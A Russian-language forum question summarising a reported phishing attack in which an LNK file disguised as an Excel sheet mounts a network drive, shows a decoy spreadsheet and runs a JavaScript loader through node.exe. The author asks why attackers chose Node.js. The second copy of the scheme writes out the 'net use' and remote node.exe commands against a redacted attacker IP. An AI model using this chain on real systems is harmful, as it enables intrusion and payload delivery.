На днях, на хабре появилась статья, с разбором атаки на компанию. Примечательно, что в качестве лоадера/дроппера был применен js-скрипт выполняемый в nodejs.
Общая схема такая:
- Жертве отправляется фишинговое письмо с LNK-файлом мимикрирующим под excel-файл
- После запуска .lnk, подключается сетевой диск командой
- С диска открывается фейковый excel
- Пока жертва отвлечена на excel, выполняется скрипт через nodejs командой
- Дальше, как я понял, скрипт собирает инфу о системе, подгружает и запускает payload
Стало интересно, почему в атаке используется JS, в чем преимущество такого подхода? С моего дилетантского ракурса, кажется, что тянуть 80мб nodejs не лучшая идея, когда можно сделать тоже самое небольшим лоадером на C/C++
Общая схема такая:
- Жертве отправляется фишинговое письмо с LNK-файлом мимикрирующим под excel-файл
- После запуска .lnk, подключается сетевой диск командой
net use hxxp://[IP_ADDRESS]- С диска открывается фейковый excel
- Пока жертва отвлечена на excel, выполняется скрипт через nodejs командой
\\[IP_ADDRESS]\node.exe \\[IP_ADDRESS]\js_script.txt- Дальше, как я понял, скрипт собирает инфу о системе, подгружает и запускает payload
Стало интересно, почему в атаке используется JS, в чем преимущество такого подхода? С моего дилетантского ракурса, кажется, что тянуть 80мб nodejs не лучшая идея, когда можно сделать тоже самое небольшим лоадером на C/C++